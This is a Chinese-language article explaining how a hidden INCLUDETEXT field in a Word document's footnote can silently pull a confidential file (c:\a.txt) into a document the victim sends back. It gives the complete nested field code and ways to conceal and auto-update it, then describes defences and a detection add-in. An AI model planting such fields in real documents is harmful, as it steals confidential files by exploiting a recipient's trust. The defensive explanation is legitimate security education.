下屬B給領導A發了一個Word文檔，按照正常的辦公流程，領導A應該在修訂、簽署文檔后把它發回給下屬B。領導A先給Word文檔殺毒，確認文檔安全之后才打開它。但是，當最后領導A把已簽字的文檔發回給下屬B時，這個Word文檔卻順手牽羊，偷走了領導A電腦上的一份機密文檔c:a.txt。

　　那么，下屬B是怎樣完成這次竊密的呢？原來，下屬B在文檔中插入了一個INCLUDETEXT域。這個域插入到了文檔最后一頁的腳注之中，域的完整代碼是：{ IF { INCLUDETEXT { IF { DATE } = { DATE } "c:\a.txt" "c:\a.txt" } * MERGEFORMAT } = "" "" * MERGEFORMAT }。其中INCLUDETEXT域的作用就是把指定的文件嵌入到當前文檔，但它不是宏，所以不會引起Word的安全警告。

　　用INCLUDETEXT域實施攻擊時，有兩個關鍵的問題需要解決：第一，必須隱藏INCLUDETEXT域，避免INCLUDETEXT域被領導A發現；第二，INCLUDETEXT域必須在經過一次更新操作后才會引入目標文件。

　　首先來看第一個問題。要隱藏INCLUDETEXT域，可以根據Word文檔的結構特點，采用多種辦法，例如隱藏文字、小而無色的字體等。一種比較通用的辦法是，將INCLUDETEXT域嵌入到一個“啞”的IF域。所謂啞的IF域，就是輸出結果總是空字符串的IF域。

　　至于INCLUDETEXT域的更新問題，對于大型的、包含許多正常域的Word文檔，這通常不存在問題，因為收到文檔的人一般會更新所有的域。但是，下屬B采用了一個更好的辦法，即在INCLUDETEXT域里面嵌入了一個DATE域，且這個DATE域是文檔中的最后一個DATE域，于是整個域就變成了自動更新的域。 　　下面我們來看看如何避免這種信息泄漏。

    二、堅固的防御

　　顯然，這種攻擊如果要得逞，攻擊者必須知道機密文檔的確切名稱和路徑。但是，對于一起工作的同事來說，攻擊成功的可能性大大增加。例如，如果某個人沒有訪問服務器上共享文件的權限，但知道共享目錄和文件的位置、名稱，他就可以借助這種攻擊，利用另一個人的身份獲得共享文件。

　　為了將這種攻擊的風險降低到最低限度，一般可以采取的措施有：第一，利用“編輯”→“鏈接”菜單，看看是否有鏈接的文件；第二，手工搜索域，分析每一個域是否合法。選擇菜單“工具”→“選項”，打開“視圖”選項卡，選中“顯示”部分的“域代碼”，“域低紋”一欄選擇“始終顯示”，這樣就把Word文檔包含的所有域突出顯示，為檢查域代碼帶來了方便。

　　另外，如果你經常要收到來源不是很可靠的Word文檔，而且總是要修訂文檔之后把文檔發回去，手工檢查域代碼的辦法肯定太麻煩，有一個免費工具可以幫助你，這就是Hidden File Detector。從www.wordsite.com/HiddenFileDetector.html或www.woodyswatch.com/util/sniff/下載Hidden File Detector，文件很小，不到100KB。下載好之后解開壓縮，得到一個Word插件HiddenFileDetector_Addin.dot。按照如下步驟安裝插件：

　　1.啟動Word，選擇菜單“工具”→“選項”，打開“文件位置”選項卡。

　　2.雙擊“啟動”這一項，出現“修改位置”對話框，點擊“查找范圍”后面的下拉按鈕，記下Word的STARTUP文件夾的位置。

　　3.關閉“修改位置”對話框和“選項”對話框。退出Word。

　　4.把HiddenFileDetector_Addin.dot復制到Word的STARTUP文件夾。注意：如果你在Windows資源管理器中找不到Word的STARTUP文件夾，可能這個文件夾被隱藏了。顯示隱藏文件夾的方法是：點擊Windows資源管理器的菜單“工具”→“文件夾選項”，選擇“查看”選項卡，在“高級設置”列表中選中“顯示所有文件和文件夾”。

　　5.重新啟動Word，“工具”菜單下面會增加一個新的Detect Hidden Files菜單，如圖一。

圖一

　　例如，假設Word文檔通過INCLUDETEXT域引入了c:a.txt和c:test機密文件.doc兩個文件，點擊Detect Hidden Files菜單，出現圖二的報告，一切竊密行為將無法遁形！

　　圖二